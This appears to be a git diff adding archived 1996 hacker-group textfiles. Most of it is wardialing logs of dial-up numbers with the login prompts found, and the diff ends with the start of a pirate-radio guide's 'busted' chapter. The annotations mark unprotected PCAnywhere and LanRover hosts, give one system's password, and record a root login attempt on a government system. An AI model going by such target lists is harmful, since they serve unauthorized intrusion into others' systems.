C: 144o DECServer (some truck company/no modem) +15-May-96 o6:13:54 223-6459 C: 144o +15-May-96 o6:23:o5 223-4366 C: 96oo D +15-May-96 o6:45:57 223-o62o C: 144o ShivaLanRover (no defaults) UserId? +15-May-96 o7:16:o5 223-3312 C: 24oo OK + disconnect +15-May-96 o7:2o:46 223-4785 C: 24oo ENTER USERID >un< not in CP directory +15-May-96 23:13:o2 223-83o2 C: 96oo D - Logon +15-May-96 23:58:36 223-8894 C: 144o +16-May-96 oo:11:24 223-748o C: 24oo Immediate Disconnect +16-May-96 o1:3o:17 223-73o2 C: 96oo +16-May-96 o2:2o:o8 223-74o7 C: 144o NETWORK ACCESS PASSWORD: / HANGING UP +16-May-96 o3:48:17 223-1o78 C: 96oo Nonpassworded PCAnywhere +16-May-96 o3:59:36 223-6582 C: 144o D - Logon +16-May-96 o4:o4:14 223-3939 C: 96oo +16-May-96 o4:36:39 223-8279 C: 12oo (e,7,1) gives init strings +16-May-96 o4:52:o7 223-o795 C: 96oo USERID? +16-May-96 o5:21:o8 223-o9o4 C: 96oo D +16-May-96 o5:4o:o3 223-o43o C: 24oo +16-May-96 o6:o6:19 223-3141 C: 144o BBS +17-May-96 00:53:54 223-6752 C: 96oo (smjunix) unix +17-May-96 oo:56:52 223-5618 C: 144o D - Logon +17-May-96 oo:57:14 223-1151 C: 144o NetWare CONNECT - no services at this time +17-May-96 o1:45:o1 223-6656 C: 144o Immediate Disconnect +17-May-96 o3:18:43 223-3589 C: 96oo Bigtime D diff --git a/textfiles.com/groups/9X/9x_tf280.txt b/textfiles.com/groups/9X/9x_tf280.txt new file mode 100644 index 00000000..c47d6ca5 --- /dev/null +++ b/textfiles.com/groups/9X/9x_tf280.txt @@ -0,0 +1,109 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + +Scanned by TMM with ToneLoc +All systems Verified by Substance + +27-Jun-96 02:26:14 1-800-280-8415 C: BUSY KF#d2|K +26-Jun-96 18:19:22 1-800-280-2150 C: NC +27-Jun-96 02:41:33 1-800-280-8075 C: NC +27-Jun-96 03:42:10 1-800-280-3004 C: NC Operator Code: +27-Jun-96 07:10:53 1-800-280-7241 C: NC +27-Jun-96 09:17:04 1-800-280-2338 C: NC +27-Jun-96 13:26:55 1-800-280-0307 C: NC Farm Fresh Store Systems Menu +28-Jun-96 10:44:56 1-800-280-1287 C: NC +28-Jun-96 11:55:34 1-800-280-8783 C: NC @ Userid: +29-Jun-96 03:32:56 1-800-280-4912 C: NC +29-Jun-96 08:06:03 1-800-280-7672 C: NC term tipe +29-Jun-96 10:22:16 1-800-280-3555 C: NC pcanywhere + +27-Jun-96 04:31:17 1-800-280-4137 C: 12oo D +28-Jun-96 10:20:34 1-800-280-1392 C: 12oo (e,7,1) *retransmit* *bye* +29-Jun-96 06:53:15 1-800-280-9076 C: 12oo D + +27-Jun-96 08:21:20 1-800-280-9552 C: 24oo unix (with Dialup pw) +28-Jun-96 03:52:14 1-800-280-2481 C: 24oo +28-Jun-96 05:39:04 1-800-280-4262 C: 24oo Store not authorized for Stor-Link +28-Jun-96 06:34:03 1-800-280-2087 C: 24oo +28-Jun-96 08:31:30 1-800-280-1614 C: 24oo QuickMail(tm) +29-Jun-96 13:38:00 1-800-280-3518 C: 24oo D +29-Jun-96 15:32:35 1-800-280-6226 C: 24oo (*) 3174 CONTROL UNIT EMULATOR - V7.05 +28-Jun-96 16:49:32 1-800-280-2535 C: 24oo Immediate Disconnect + +26-Jun-96 17:17:19 1-800-280-2865 C: 96oo D - Logon +26-Jun-96 19:14:59 1-800-280-4068 C: 96oo $7 +26-Jun-96 19:45:12 1-800-280-5229 C: 96oo $7 +27-Jun-96 00:56:03 1-800-280-4066 C: 96oo (e,7,1) (*) S.D.M.S. O/P Dealer Master +27-Jun-96 01:57:06 1-800-280-3286 C: 96oo Perle Model 3i - V 02.00G (passwd) +29-Jun-96 03:05:03 1-800-280-6790 C: 96oo +27-Jun-96 06:47:25 1-800-280-0520 C: 96oo (e,7,1) unix +27-Jun-96 16:23:47 1-800-280-5261 C: 96oo +28-Jun-96 05:09:02 1-800-280-6993 C: 96oo ! WERD ! look at this shit +28-Jun-96 08:26:52 1-800-280-4276 C: 96oo +28-Jun-96 16:14:38 1-800-280-4469 C: 96oo term tipe/ then VM/CMS os +28-Jun-96 17:42:57 1-800-280-1710 C: 96oo (unilink) SCO UNIX System V/386 +29-Jun-96 05:35:56 1-800-280-5526 C: 96oo Gives Zmodem recieve string +29-Jun-96 06:14:09 1-800-280-2963 C: 96oo ZZLOGIN over and over + +26-Jun-96 17:53:11 1-800-280-1491 C: 144o Pad ID: N4.1 - Port: 41 / user name: +26-Jun-96 18:40:02 1-800-280-4674 C: 144o Enter password: (PCanywhere) +26-Jun-96 19:59:50 1-800-280-7925 C: 144o +26-Jun-96 20:02:08 1-800-280-8148 C: 144o +26-Jun-96 20:17:32 1-800-280-5751 C: 144o PASSWORD / PASSWORD INCORRECT +27-Jun-96 00:31:45 1-800-280-4736 C: 144o Ascend2 Pipeline / System Password: +27-Jun-96 01:45:48 1-800-280-6317 C: 144o D (g's) +27-Jun-96 02:37:28 1-800-280-6220 C: 144o unix +27-Jun-96 02:57:29 1-800-280-4383 C: 144o Dial-IN-Access / milliblazer login: +27-Jun-96 04:27:37 1-800-280-1509 C: 144o USERID: Password: +27-Jun-96 04:45:26 1-800-280-0691 C: 144o PCAnywhere Landfill Dept. +27-Jun-96 04:56:13 1-800-280-1796 C: 144o What system do you wish to use? +27-Jun-96 05:21:43 1-800-280-2216 C: 144o 3 #'s +27-Jun-96 05:31:50 1-800-280-4780 C: 144o D -  +27-Jun-96 05:40:28 1-800-280-5169 C: 144o +27-Jun-96 09:44:29 1-800-280-1640 C: 144o Wildcat! v4 (no new users) +27-Jun-96 13:16:06 1-800-280-7773 C: 144o login: +27-Jun-96 15:10:32 1-800-280-9305 C: 144o +27-Jun-96 16:39:51 1-800-280-6843 C: 144o unix +27-Jun-96 18:10:17 1-800-280-6687 C: 144o +27-Jun-96 18:40:13 1-800-280-6098 C: 144o D +27-Jun-96 19:10:38 1-800-280-4172 C: 144o +27-Jun-96 20:14:58 1-800-280-5196 C: 144o +27-Jun-96 20:41:26 1-800-280-0569 C: 144o +27-Jun-96 21:36:15 1-800-280-1087 C: 144o +27-Jun-96 22:19:54 1-800-280-7028 C: 144o +27-Jun-96 23:31:53 1-800-280-2646 C: 144o (e,7,1) Clubhouse login: +28-Jun-96 02:23:42 1-800-280-4334 C: 144o Service Selector on port NY_PORT-01. +28-Jun-96 03:01:10 1-800-280-3367 C: 144o Renex Connect, Enter service code +28-Jun-96 03:12:33 1-800-280-2690 C: 144o +28-Jun-96 03:40:49 1-800-280-0928 C: 144o +28-Jun-96 05:48:42 1-800-280-0736 C: 144o @ Userid: (no defaults) +28-Jun-96 06:08:58 1-800-280-3419 C: 144o +28-Jun-96 06:55:21 1-800-280-7332 C: 144o connected to the pcANYWHERE computer. +28-Jun-96 08:57:54 1-800-280-8156 C: 144o ICA +28-Jun-96 15:54:26 1-800-280-7297 C: 144o +28-Jun-96 16:56:15 1-800-280-9214 C: 144o (stripe) SCO Open Server +28-Jun-96 18:13:05 1-800-280-1644 C: 144o Genlink BBS (running WildCat) +28-Jun-96 23:54:30 1-800-280-9370 C: 144o (e,7,1) ID= (type SYSTEM) PagerID + From what i can gather about the system above u can page ppl via modem +29-Jun-96 01:45:23 1-800-280-8654 C: 144o (fire.x10sion.com) unix +29-Jun-96 02:08:51 1-800-280-2039 C: 144o PLEASE ENTER YOUR PASSWORD =======> +29-Jun-96 05:21:29 1-800-280-7328 C: 144o +29-Jun-96 07:35:08 1-800-280-7294 C: 144o +29-Jun-96 07:41:02 1-800-280-6928 C: 144o +29-Jun-96 09:19:15 1-800-280-5092 C: 144o USLink Dial-Up Service Username: +29-Jun-96 09:55:50 1-800-280-2972 C: 144o OEI Milwaukee Div/Loc name +29-Jun-96 10:51:12 1-800-280-0811 C: 144o Enter password: +29-Jun-96 13:30:08 1-800-280-5363 C: 144o (e,7,1) dfmp1 login: +29-Jun-96 14:27:28 1-800-280-5014 C: 144o Starting SecurID Authentication... +29-Jun-96 15:30:26 1-800-280-8740 C: 144o +29-Jun-96 15:53:40 1-800-280-4426 C: 144o Dial-IN-Access / milliblazer login: diff --git a/textfiles.com/groups/9X/9x_tf465.txt b/textfiles.com/groups/9X/9x_tf465.txt new file mode 100644 index 00000000..8f7f1c1f --- /dev/null +++ b/textfiles.com/groups/9X/9x_tf465.txt @@ -0,0 +1,119 @@ +115 carriers +Scanned by Substance with THC 4.2o (beta) +Exchange 800 465 + +17-May-96 o4:22:36 456-o977 C: 24oo DSS::5B7 SELECT DESTINATION (no help) +17-May-96 o4:34:22 456-9179 C: 96oo (e,7,1) Type the key of your terminal +17-May-96 o4:49:o5 456-6449 C: 144o NC +17-May-96 o5:o5:38 456-o974 C: 24oo ENTER USER ID! -> INVALID ENTRY +17-May-96 o5:11:48 456-4o32 C: 3oo +17-May-96 o5:15:o6 456-5495 C: 96oo US Govt System (see below) + +STATION ID - ca/57.9 + +Official US Government system for authorized use only. Do not discuss, enter, +transfer, process, or transmit classified/sensitive national security +information of greater sensitivity than that for which this system is +authorized. Use of this system constitutes consent to security testing and +monitoring. Unauthorized use could result in criminal prosecution. + +USERID: ROOT +Password: +login incorrect + +Conversation ended. + +17-May-96 o5:22:51 456-2628 C: o3oo +17-May-96 o6:o6:32 456-5o73 C: 144o +17-May-96 o7:o2:1o 456-584o C: 144o Please press [Enter] Enter Password +24-May-96 oo:o9:41 456-8937 C: 144o nlogin: +24-May-96 o2:o1:34 456-5o66 C: 24oo +24-May-96 o2:o8:59 456-9685 C: 144o LanRover (Root) +24-May-96 o2:46:29 456-5734 C: 144o +24-May-96 o2:47:45 456-1826 C: 144o +24-May-96 o2:57:29 456-5593 C: 144o PCAnywhere (no password) +24-May-96 o3:53:5o 456-o3o7 C: 24oo Immediate Disconnect +24-May-96 o4:o3:55 456-3272 C: 144o Starts out in PPP mode +24-May-96 o4:58:o1 456-7o33 C: 144o D - LEEGin Leather Products +24-May-96 o5:1o:33 456-36o6 C: 96oo Enter PASSCODE: +24-May-96 o6:29:52 456-8415 C: 144o +26-May-96 23:51:58 456-4713 C: 144o r2host v3.0 User ID: +27-May-96 oo:o2:o4 456-9891 C: 144o NationsBank in Charlotte NC (BBS) +27-May-96 oo:14:38 456-485o C: 144o +27-May-96 oo:3o:o5 456-6315 C: 144o +27-May-96 o1:21:26 456-8483 C: 24oo +27-May-96 o1:35:55 456-3936 C: 96oo Puts ewe in some type of line editor +27-May-96 o2:26:26 456-6834 C: 144o +27-May-96 o2:43:28 456-7272 C: 144o Immediate Disconnect +27-May-96 o3:o7:o7 456-52o1 C: 144o (ebc) SCO OpenServer unix +27-May-96 o3:26:54 456-5482 C: 144o Authorized Users Only (VAX/VMS) +27-May-96 o3:28:57 456-9625 C: 24oo +27-May-96 o3:51:56 456-6912 C: 144o PLEASE ENTER YOUR PASSWORD>> +27-May-96 o3:58:oo 456-9824 C: 96oo Initial Login: Initial Password: +27-May-96 o4:53:34 456-3418 C: 12oo Immediate Disconnect +27-May-96 o6:52:14 456-o674 C: 96oo +27-May-96 o8:28:44 456-2676 C: 144o D +27-May-96 23:21:oo 456-2626 C: 144o says 'ATLAS PTL FE391 1 577' + waits +27-May-96 23:32:52 456-219o C: 24oo Immediate Disconnect +28-May-96 oo:13:19 456-7595 C: 24oo Initial Login: Initial Password: +28-May-96 oo:46:o4 456-o818 C: 3oo +28-May-96 o1:o5:14 456-5179 C: 144o (e,7,1) Authorized Users only (unix) +28-May-96 o1:42:19 456-4114 C: 3oo +28-May-96 o3:o7:5o 456-6872 C: 144o +28-May-96 22:29:35 456-1263 C: 3oo +28-May-96 22:31:35 456-94o8 C: 96oo New England Health Associates (no pw!) +28-May-96 23:o4:o9 456-817o C: 144o (e,7,1???) unknown +28-May-96 23:46:o7 456-9394 C: 144o unix? login/pw 3x +29-May-96 oo:o9:o4 456-o326 C: 24oo (e,7,1) ? +3o-May-96 o1:13:22 456-947o C: 144o unix (3 tries) +3o-May-96 o2:12:o7 456-3467 C: 144o (jetset) TeleBits Netblazer +3o-May-96 o3:26:48 456-8765 C: 144o Waits 3 seconds + Disconnect +3o-May-96 o4:36:o6 456-9167 C: 24oo Weird G's +3o-May-96 o5:22:o6 456-58o2 C: 24oo "<<<<< Connected to STNET" +3o-May-96 o5:42:57 456-8552 C: 144o D - just eyedles +3o-May-96 o6:o2:5o 456-5491 C: 144o D - lotsa }'s +o2-Jun-96 o1:13:25 456-7876 C: NC +o2-Jun-96 o1:19:4o 456-6171 C: 144o +o2-Jun-96 o1:41:58 456-8432 C: 96oo Crown BBS system (Retail F.A.C.T.S) +o2-Jun-96 o2:o9:o7 456-83o1 C: 24oo D - spades +o2-Jun-96 o2:28:28 456-6934 C: 144o DECServer with passwd (3 #'s) +o2-Jun-96 o2:42:42 456-9675 C: 12oo +o2-Jun-96 o2:46:24 456-521o C: 24oo Financial info systems (company id:) +o2-Jun-96 o3:24:1o 456-2177 C: 144o (e,7,1) unix +o2-Jun-96 o3:49:18 456-5517 C: 144o +o2-Jun-96 o3:5o:49 456-1853 C: 24oo (e,7,1) unix +o2-Jun-96 o4:o3:24 456-6192 C: 24oo (e,7,1) User ID: Password +o2-Jun-96 o4:51:39 456-4717 C: 144o Novell Network (drops u right to dos) +o2-Jun-96 o5:32:17 456-4818 C: NC +o2-Jun-96 o6:22:17 456-o882 C: 144o LanRover (Root no pw) +o2-Jun-96 o7:18:4o 456-o566 C: 24oo +o2-Jun-96 o7:19:57 456-6864 C: 144o +o2-Jun-96 o8:15:38 456-3o53 C: 24oo (e,7,1) IBM Global Network +o4-Jun-96 22:28:o6 456-4973 C: 24oo +o4-Jun-96 22:29:17 456-46o3 C: 144o Username: enter PASSCODE: +o4-Jun-96 22:56:53 456-o88o C: 144o MACNet Lanrover (root) +o4-Jun-96 23:o5:51 456-4257 C: 96oo +o4-Jun-96 23:22:16 456-9382 C: 144o unix +o5-Jun-96 oo:o4:15 456-oo54 C: 144o ENTER ID: (unauth. users will be shot) +o5-Jun-96 oo:12:53 456-4o59 C: 24oo (generic) unix +o5-Jun-96 o1:24:17 456-7259 C: 96oo D +o5-Jun-96 o1:37:o2 456-579o C: 96oo PGXPRES Logon: Password: (x25 in begin) +o5-Jun-96 o2:o8:28 456-6414 C: 24oo Pioneer Financial Services +o5-Jun-96 o2:21:53 456-7435 C: 24oo Immediate Disconnect +o5-Jun-96 o2:54:57 456-4389 C: 144o @ Userid: Password: (different) +o5-Jun-96 o3:21:3o 456-8484 C: 144o No password PCAnywhere +o5-Jun-96 o3:37:34 456-1136 C: 24oo D +o5-Jun-96 o4:27:17 456-2o46 C: 12oo +o5-Jun-96 o4:42:58 456-93o4 C: 144o +o5-Jun-96 o5:o1:49 456-6245 C: 144o Pad ID: username +o5-Jun-96 o5:17:26 456-3659 C: 144o D +o5-Jun-96 o5:2o:45 456-8661 C: 24oo +o5-Jun-96 o5:5o:38 456-9347 C: 96oo +o5-Jun-96 o7:o2:58 456-9825 C: 144o +o7-Jun-96 oo:3o:47 456-3664 C: 144o D - weird, exchanging PC parameters +o7-Jun-96 o1:23:56 456-1925 C: 144o +o7-Jun-96 o2:11:15 456-7748 C: 96oo Unpw'd Novell (PCanyware) +o7-Jun-96 o2:14:45 456-54o5 C: 144o Immediate Disconnect +o7-Jun-96 o2:15:o7 456-3842 C: 24oo Immediate Disconnect +o7-Jun-96 o2:44:29 456-3743 C: 144o +o7-Jun-96 o3:26:19 456-o789 C: 96oo (avfgate) unix diff --git a/textfiles.com/groups/9X/9x_tf546.txt b/textfiles.com/groups/9X/9x_tf546.txt new file mode 100644 index 00000000..8a431678 --- /dev/null +++ b/textfiles.com/groups/9X/9x_tf546.txt @@ -0,0 +1,185 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + +---------------------------------------------------- +Scanned by TMM - an399o1o@anon.penet.fi +ALL systems verified by Substance - jcat@acmenet.net +---------------------------------------------------- + +Key - + NC - No Connection + BUSY - Duh + VO - Voice + OP - Operator + D - Different Terminal Emulation + +Notes: [From what eye can see the US Sprint PAD is used specificly for + Sprint systems. It doesnt allow any connections to other systems. + If you try a nynex system (622 xxxx) it gives the usual Refused msg] + + [When you see a TELENET (SprintNet x.25) system that says (WATS) + it means you cannot connect to any public nua. The ones that say + public allow you to connect to anything that isnt reverse charge + blocked] + + [To access the PCAnywhere (n/p'ed systems) you need to have the + special software. without it, it is bullshit ] + * For a copy of the software email jcat@acmenet.net and ill send it * + +15-Mar-96 14:oo:47 1-8oo-546-4471 C: NC +15-Mar-96 21:25:o9 1-8oo-546-1969 C: NC +15-Mar-96 22:o5:56 1-8oo-546-3319 C: NC +16-Mar-96 14:o6:12 1-8oo-546-5694 C: NC +21-Mar-96 o9:14:o2 1-8oo-546-6o45 C: NC +24-Mar-96 22:39:39 1-8oo-546-6111 C: NC +26-Mar-96 o7:57:39 1-8oo-546-8453 C: NC +26-Mar-96 14:5o:34 1-8oo-546-6212 C: NC +21-Mar-96 o9:o6:32 1-8oo-546-8478 C: BUSY + +15-Mar-96 15:34:5o 1-8oo-546-3ooo C: o3oo + +15-Mar-96 o9:o8:18 1-8oo-546-5395 C: 12oo Immediate Disconnect +15-Mar-96 1o:11:35 1-8oo-546-3946 C: 12oo (e,7,1) Enter Pager id + return +15-Mar-96 17:46:27 1-8oo-546-46o6 C: 12oo (e,7,1) ROLM CBX Model 40 +26-Mar-96 13:15:55 1-8oo-546-3o25 C: 12oo +26-Mar-96 18:47:57 1-8oo-546-92o7 C: 12oo Immediate Disconnect + +15-Mar-96 o7:43:37 1-8oo-546-oo46 C: 24oo (e,7,1) Public Access PAD (x.25) +15-Mar-96 13:o4:24 1-8oo-546-o859 C: 24oo (e,7,1) TELENET dialup (local conns) +16-Mar-96 13:36:35 1-8oo-546-6852 C: 24oo (e,7,1) TELENET (WATS not permitted) +21-Mar-96 12:12:45 1-8oo-546-o589 C: 24oo (e,7,1) TELENET (WATSnotpermitted) +21-Mar-96 14:51:5o 1-8oo-546-oo22 C: 24oo (e,7,1) TELENET 212 95oo1.11 (NO wats) +24-Mar-96 23:o8:29 1-8oo-546-1ooo C: 24oo (e,7,1) Telenet (AC+NUM req) +26-Mar-96 21:51:31 1-8oo-546-4856 C: 24oo (e,7,1) TELENET 212 950 (WATS) +15-Mar-96 19:26:21 1-8oo-546-8612 C: 24oo D - Seems to wait for special term +16-Mar-96 23:o6:26 1-8oo-546-9oo6 C: 24oo PR NEWSWIRE SUN UNIX login: +24-Mar-96 18:o2:o8 1-8oo-546-9oo7 C: 24oo PR NEWSWIRE SUN UNIX +24-Mar-96 19:48:47 1-8oo-546-1737 C: 24oo Almost immediate disconnect +26-Mar-96 11:19:57 1-8oo-546-4oo3 C: 24oo Immediate Disconnect +26-Mar-96 15:13:2o 1-8oo-546-5323 C: 24oo +26-Mar-96 21:17:47 1-8oo-546-o993 C: 24oo + +15-Mar-96 16:4o:48 1-8oo-546-7469 C: 96oo +16-Mar-96 19:59:39 1-8oo-546-4991 C: 96oo (e,7,1) Enter Connect Password +16-Mar-96 2o:44:44 1-8oo-546-1o22 C: 96oo HP3000/HELLO FIELD.SUPPORT,PUB (no pw) +16-Mar-96 21:35:o2 1-8oo-546-9936 C: 96oo +21-Mar-96 1o:1o:55 1-8oo-546-5597 C: 96oo Term Type + SolutionLink +21-Mar-96 14:22:54 1-8oo-546-7o72 C: 96oo +21-Mar-96 19:38:58 1-8oo-546-5562 C: 96oo 3174 CONTROL UNIT EMULATOR +24-Mar-96 2o:35:4o 1-8oo-546-6o74 C: 96oo (lion) SCO System V/386 Main line +26-Mar-96 o9:34:12 1-8oo-546-55o3 C: 96oo D - Logon +26-Mar-96 19:47:21 1-8oo-546-o498 C: 96oo D - Logon +27-Mar-96 1o:59:55 1-8oo-546-7799 C: 96oo TACO BELL - VM/ESA + +15-Mar-96 o7:46:29 1-8oo-546-6792 C: 144o +15-Mar-96 o7:55:31 1-8oo-546-9997 C: 144o Immediate Disconnect +15-Mar-96 o8:1o:41 1-8oo-546-264o C: 144o D  +15-Mar-96 o9:57:o8 1-8oo-546-5668 C: 144o D +15-Mar-96 1o:22:13 1-8oo-546-8371 C: 144o US Sprint 212 9oo91.2o +15-Mar-96 1o:43:22 1-8oo-546-4o2o C: 144o +15-Mar-96 1o:5o:13 1-8oo-546-o651 C: 144o Enter service code - +15-Mar-96 11:o6:24 1-8oo-546-4468 C: 144o D -    UPI1  +15-Mar-96 12:26:49 1-8oo-546-4489 C: 144o US Sprint 2o1 9ooo8.53 +15-Mar-96 12:3o:42 1-8oo-546-7343 C: 144o (pagamb) unix U.S. Bankruptcy Court +15-Mar-96 13:o7:38 1-8oo-546-oo96 C: 144o TELENET 816 86o5.34 (noWATS) +15-Mar-96 14:27:52 1-8oo-546-5383 C: 144o +15-Mar-96 15:o4:14 1-8oo-546-5831 C: 144o US Sprint 215 9oo82.o6 (1 try) +15-Mar-96 15:12:22 1-8oo-546-8452 C: 144o (e,7,1) IBM AiX unix +15-Mar-96 17:11:42 1-8oo-546-8o2o C: 144o Defender 5ooo. Enter ID: +15-Mar-96 17:49:2o 1-8oo-546-4534 C: 144o D +15-Mar-96 18:31:2o 1-8oo-546-o64o C: 144o Enter service code - +15-Mar-96 19:15:43 1-8oo-546-5285 C: 144o D +15-Mar-96 19:44:o9 1-8oo-546-2355 C: 144o +15-Mar-96 19:5o:o8 1-8oo-546-5685 C: 144o D +15-Mar-96 2o:14:o1 1-8oo-546-5o48 C: 144o D - Logon +15-Mar-96 21:o1:59 1-8oo-546-8892 C: 144o D +15-Mar-96 21:44:24 1-8oo-546-42o9 C: 144o +16-Mar-96 12:o8:19 1-8oo-546-2163 C: 144o D - one spade +16-Mar-96 12:19:15 1-8oo-546-5472 C: 144o ShivaLanRover (login: root) (diff) +16-Mar-96 12:28:39 1-8oo-546-o617 C: 144o Enter service code - +16-Mar-96 12:39:53 1-8oo-546-5681 C: 144o +16-Mar-96 13:o7:59 1-8oo-546-2112 C: 144o +16-Mar-96 13:26:41 1-8oo-546-3445 C: 144o pppdev2 login: +16-Mar-96 13:51:16 1-8oo-546-459o C: 144o TeleChart 2ooo Database: + +16-Mar-96 14:23:16 1-8oo-546-3664 C: 144o ShivaLanRover / @ Userid: +16-Mar-96 14:27:56 1-8oo-546-4543 C: 144o D +16-Mar-96 14:28:44 1-8oo-546-7864 C: 144o Sprint-ip username: / password: +16-Mar-96 14:32:56 1-8oo-546-9o91 C: 144o (e,7,1) HARBOR TOOL /Destination: +16-Mar-96 15:3o:58 1-8oo-546-489o C: 144o (e,7,1) TELENET 415 47oo4.2o(noWATS) +16-Mar-96 17:o5:57 1-8oo-546-1317 C: 144o (e,7,1) TELENET 2o1 6oo3.2o (public) +16-Mar-96 18:oo:55 1-8oo-546-3553 C: 144o ECOLAB BBS (#671o2913) +16-Mar-96 18:41:41 1-8oo-546-5121 C: 144o FirstClass System. Public BBS +16-Mar-96 2o:25:36 1-8oo-546-7243 C: 144o (e,7,1) D +16-Mar-96 21:o1:35 1-8oo-546-4859 C: 144o +16-Mar-96 22:1o:oo 1-8oo-546-6481 C: 144o D - Logon +16-Mar-96 22:4o:47 1-8oo-546-4318 C: 144o D +16-Mar-96 22:42:15 1-8oo-546-2571 C: 144o +16-Mar-96 22:54:47 1-8oo-546-242o C: 144o Enter PASSCODE: +16-Mar-96 23:24:4o 1-8oo-546-1276 C: 144o PCAnywhere (no pw) +16-Mar-96 23:37:24 1-8oo-546-8o33 C: 144o D - Logon +17-Mar-96 oo:21:19 1-8oo-546-6257 C: 144o (e,7,1) TELENET 2o2 44o4.16 +19-Mar-96 16:53:29 1-8oo-546-6o19 C: 144o Hangs up after a minute or so +21-Mar-96 o7:48:53 1-8oo-546-o641 C: 144o Enter service code - +21-Mar-96 o8:o9:54 1-8oo-546-2331 C: 144o +21-Mar-96 o8:38:19 1-8oo-546-22o3 C: 144o ShivaLanRover (@ Userid:) (Lgn: ROOT) +21-Mar-96 o9:43:o3 1-8oo-546-7313 C: 144o Annex username: +21-Mar-96 11:25:17 1-8oo-546-365o C: 144o (e,7,1) TELENET 415 6ooo5.36(noWATS) +21-Mar-96 12:o4:57 1-8oo-546-6371 C: 144o 4 #'s +21-Mar-96 12:17:o9 1-8oo-546-5692 C: 144o D +21-Mar-96 12:46:47 1-8oo-546-oo14 C: 144o (e,7,1) TELENET 813 1401 *Public* +21-Mar-96 13:17:o1 1-8oo-546-o529 C: 144o (e,7,1) Enter service code - +21-Mar-96 14:2o:2o 1-8oo-546-7865 C: 144o Sprint-ip username: password: +21-Mar-96 15:o4:42 1-8oo-546-145o C: 144o +21-Mar-96 15:25:17 1-8oo-546-5288 C: 144o Annex username: +21-Mar-96 15:3o:o6 1-8oo-546-6318 C: 144o D - Logon +21-Mar-96 17:17:35 1-8oo-546-4573 C: 144o +21-Mar-96 2o:o2:54 1-8oo-546-oo86 C: 144o (e,7,1) TELENET 2o2 4oo5.72 +24-Mar-96 17:33:28 1-8oo-546-9o46 C: 144o +24-Mar-96 17:58:o3 1-8oo-546-454o C: 144o D +24-Mar-96 18:2o:o4 1-8oo-546-1642 C: 144o Sprint-ip username: password: +24-Mar-96 19:o5:29 1-8oo-546-o612 C: 144o Enter service code - +24-Mar-96 19:36:41 1-8oo-546-3315 C: 144o Lanrover (login: root) -McLeod_8235- +24-Mar-96 2o:26:33 1-8oo-546-4497 C: 144o D (sucks) +24-Mar-96 21:39:12 1-8oo-546-665o C: 144o +24-Mar-96 22:52:43 1-8oo-546-4o59 C: 144o US Sprint 212 9ooo3.o4 +26-Mar-96 o8:42:34 1-8oo-546-5915 C: 144o D same as 4350 +26-Mar-96 o8:56:26 1-8oo-546-435o C: 144o D +26-Mar-96 1o:o6:29 1-8oo-546-5646 C: 144o says Enter password: but D +26-Mar-96 1o:55:4o 1-8oo-546-o637 C: 144o Enter service code - +26-Mar-96 12:1o:31 1-8oo-546-5767 C: 144o (e,7,1) TELENET 816 6ooo5.44 +26-Mar-96 14:29:16 1-8oo-546-o79o C: 144o +26-Mar-96 14:45:o4 1-8oo-546-4293 C: 144o D +26-Mar-96 17:59:1o 1-8oo-546-42o3 C: 144o +26-Mar-96 18:22:17 1-8oo-546-994o C: 144o +26-Mar-96 18:27:31 1-8oo-546-8789 C: 144o D - Logon +26-Mar-96 18:29:38 1-8oo-546-5574 C: 144o ShivaLanRover (no defaults) +26-Mar-96 18:35:56 1-8oo-546-6o53 C: 144o +26-Mar-96 18:39:41 1-8oo-546-1313 C: 144o +26-Mar-96 19:24:12 1-8oo-546-5689 C: 144o D +26-Mar-96 19:33:37 1-8oo-546-5661 C: 144o D +26-Mar-96 2o:44:56 1-8oo-546-4897 C: 144o +26-Mar-96 21:o3:38 1-8oo-546-o639 C: 144o Enter service code - +26-Mar-96 21:4o:25 1-8oo-546-8328 C: 144o Spencer Fane Britt/ Workstation Name: +26-Mar-96 21:44:52 1-8oo-546-89o9 C: 144o +26-Mar-96 21:54:58 1-8oo-546-3414 C: 144o Enter password: (PCAnwhere) + The password to this system is 'PASSWORD' (whoa. hard one) +27-Mar-96 o8:o7:42 1-8oo-546-43o6 C: 144o Vanguard Industries / modem login96: +27-Mar-96 o9:o9:59 1-8oo-546-1735 C: 144o Enter service code - +27-Mar-96 o9:27:21 1-8oo-546-25oo C: 144o (e,7,1) TELENET 2o2 892o5.11 (WATS) +27-Mar-96 o9:34:24 1-8oo-546-7338 C: 144o +27-Mar-96 1o:o4:31 1-8oo-546-o16o C: 144o (www) Linux 1.1.85. +27-Mar-96 1o:13:17 1-8oo-546-7587 C: 144o HP3000 (mpe xl) +27-Mar-96 11:14:16 1-8oo-546-2723 C: 144o 3 #'s + +16-Mar-96 19:12:29 1-8oo-546-7861 C: 288o Sprint-ip username:password: +------------------------------------[ EOPH ]-------------------------------- diff --git a/textfiles.com/groups/9X/busted.9x b/textfiles.com/groups/9X/busted.9x new file mode 100644 index 00000000..ea17ee8a --- /dev/null +++ b/textfiles.com/groups/9X/busted.9x @@ -0,0 +1,176 @@ + PIRATE RADIO SURVIVAL GUIDE + Note: this chapter is from the book "Pirate Radio Survival Guide" written by; Nemesis of +Radio Doomsday, and Captain Eddy of The Radio Airplane. If you like this book and would +like to support their efforts, you may send a donation of your choice to either Nemesis or +Capt. Eddy at PO Box 452, Wellsville NY 14895. + + Please note that some chapters refer to illistrations or drawings, these could not be included in +this BBS version of the book. If you would like the illistrations or have other questions you +may inquire at the above adddress. + + WHAT IF I GET BUSTED?? + + What if that dreaded day comes when you are faced with owning up to your pirate activities? +Well this chapter was almost left out of this book for two reasons. First, this is a book telling +you how to become a pirate and not a book on legal defense. And second, there are so many +schools of thought relating to how you should act almost no one agrees on the best method. +However, we will take a short section of this book and at least discuss the different +perspectives as well as what you might expect in case of a bust. No matter what you decide to +do in this case, there are a few things that are universally true in any situation: + + 1. It is no fun being busted, but remember: it is not the end of the world and + you will live through it. + 2. It is almost always a good idea to hire a lawyer, this will not guarantee you + will win. However if you try to defend 